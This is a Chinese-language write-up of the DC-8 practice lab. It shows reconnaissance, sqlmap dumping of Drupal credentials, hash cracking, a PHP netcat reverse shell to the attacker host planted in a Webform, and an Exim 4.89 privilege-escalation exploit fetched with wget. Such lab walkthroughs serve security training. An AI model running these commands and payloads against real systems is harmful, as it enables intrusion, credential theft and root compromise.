DC-8-靶机实战:Drupal-渗透-SQL注入-Exim提权-信息收集

DC-8 靶机渗透测试报告

其他靶机(附下载链接)

1. 信息收集

靶机下载

28.7的网盘DC-8靶机


sqlmap

1.1 ARP扫描获取靶机IP

通过ARP探测定位DC-8靶机的IP地址,执行以下命令:

1
arp-scan -l

扫描结果显示,DC-8靶机IP为 192.168.87.241

1.2 nmap端口扫描

对靶机IP执行端口扫描,探测开放服务:

1
nmap 192.168.87.241

扫描结果显示靶机开放 22端口(SSH)80端口(HTTP)

1.3 Web服务初探

访问80端口(http://192.168.87.241),发现靶机运行 Drupal CMS系统

2. SQL注入漏洞利用

2.1 漏洞探测

测试发现URL中的 nid 参数存在SQL注入漏洞(可通过参数构造触发异常响应)

2.2 数据库信息提取

使用sqlmap工具自动化挖掘数据库信息,步骤如下:

(1)爆当前数据库

1
python sqlmap.py -u "http://192.168.87.241/?nid=1" --level=5 --risk=3 --batch --current-db

结果:当前数据库为 d7db

(2)爆数据库表

1
python sqlmap.py -u "http://192.168.87.241/?nid=1" --level=5 --risk=3 --batch -D "d7db" --tables

发现关键表 users(存储用户账号密码)

(3)爆users表字段

1
python sqlmap.py -u "http://192.168.87.241/?nid=1" --level=5 --risk=3 --batch -D d7db -T users --columns

提取关键字段:name(用户名)、pass(密码Hash)、uid(用户ID)

(4)dump用户数据

1
python sqlmap.py -u "http://192.168.87.241/?nid=1" --level=5 --risk=3 --batch -D d7db -T users -C name,pass,uid --dump

获取用户数据:name=adminpass=$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z

2.3 Hash爆破

将获取的密码Hash存入 pass.txt 文件,使用john工具爆破:

1
john pass.txt

爆破结果:密码为 turtle

2.4 Web后台登录

访问Drupal后台登录页(http://192.168.87.164/user/login),使用账号 admin、密码 turtle 成功登录

3. 反弹Shell获取权限

3.1 SSH登录尝试

尝试使用admin账号密码登录22端口(SSH),登录失败

3.2 Webform漏洞利用(执行PHP代码)

根据Drupal功能提示,Webform模块支持配置自定义代码执行,利用步骤如下:

  1. 登录后台后,点击 Find content → 编辑 Contact us 页面
  2. 选中 Webform 选项卡,进入 Form settings(表单设置)
  3. 找到代码执行区域,写入PHP反弹Shell代码

3.3 写入反弹Shell

反弹Shell代码(攻击机IP:192.168.87.236,监听端口:6666):

1
2
3
4
<p>Get flag</p>
<?php
system("nc -e /bin/bash 192.168.87.236 6666");
?>

配置截图:



3.4 监听与获取Shell

(1)攻击机开启监听

在Kali攻击机上执行以下命令,监听6666端口:

1
nc -lvp 6666

(2)触发Shell执行

返回靶机 Contact us 页面(前台),填写任意内容提交表单,触发PHP代码执行。
攻击机成功接收到反弹Shell。

(3)生成交互式Shell

为提升操作体验,执行以下命令生成标准交互式Shell:

1
python -c 'import pty;pty.spawn("/bin/bash")'

4. 提权操作(获取Root权限)

4.1 查找SUID文件

SUID文件可允许普通用户以root权限执行,执行以下命令查找系统中的SUID文件:

1
find / -user root -perm -4000 -print 2>/dev/null

发现关键文件 exim(邮件传输代理,带SUID权限)

4.2 确认Exim版本

执行以下命令查看Exim版本:

1
exim --version

版本为 Exim 4.89(存在本地提权漏洞,漏洞范围:Exim 4.87 - 4.91)

4.3 利用Exim提权漏洞

(1)获取漏洞Payload

漏洞Payload路径:/usr/share/exploitdb/exploits/linux/local/46996.sh(对应Exim 4.87-4.91本地提权)

(2)传输Payload到靶机

  1. 将Payload复制到攻击机Web根目录:
    1
    cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html/hack.sh
  2. 靶机执行wget命令下载Payload(攻击机IP:192.168.87.236):
    1
    wget 192.168.87.236/hack.sh

(3)修正文件格式

Payload默认可能为DOS格式,需转为Unix格式(避免执行报错):

  1. 攻击机中用vim打开文件:vim hack.sh
  2. 执行格式转换命令:set ff=unix(按Shift+:输入命令)
  3. 保存退出::wq

(4)执行提权脚本

给Payload添加执行权限并执行:

1
2
chmod +x hack.sh
./hack.sh -m netcat # -m netcat指定用nc反弹root shell

4.4 获取Root权限与Flag

提权成功后,重新生成交互式Shell:

1
python -c 'import pty;pty.spawn("/bin/bash")'

进入root目录,查看flag文件:

1
2
cd /root
cat flag.txt

Flag内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Brilliant - you have succeeded!!!

888 888 888 888 8888888b. 888 888 888 888
888 o 888 888 888 888 "Y88b 888 888 888 888
888 d8b 888 888 888 888 888 888 888 888 888
888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888 888
888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888 888
88888P Y88888 88888888 888 888 888 888 888 888 888 888 88888888 Y8P Y8P Y8P Y8P
8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " " "
888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888 888

Hope you enjoyed DC-8. Just wanted to send a big thanks out there to all those
who have provided feedback, and all those who have taken the time to complete these little
challenges.

I'm also sending out an especially big thanks to:

@4nqr34z
@D4mianWayne
@0xmzfr
@theart42

This challenge was largely based on two things:

1. A Tweet that I came across from someone asking about 2FA on a Linux box, and whether it was worthwhile.
2. A suggestion from @theart42

The answer to that question is...

If you enjoyed this CTF, send me a tweet via @DCAU7.

提权成功截图:

渗透总结

  1. 漏洞链:ARP扫描定位靶机 → nmap探测端口 → Drupal SQL注入获取账号 → Webform执行PHP反弹Shell → Exim SUID提权获取Root
  2. 关键漏洞:Drupal nid参数SQL注入、Webform代码执行、Exim 4.89本地提权漏洞
  3. 核心技巧:SUID文件枚举、漏洞Payload格式修正、交互式Shell生成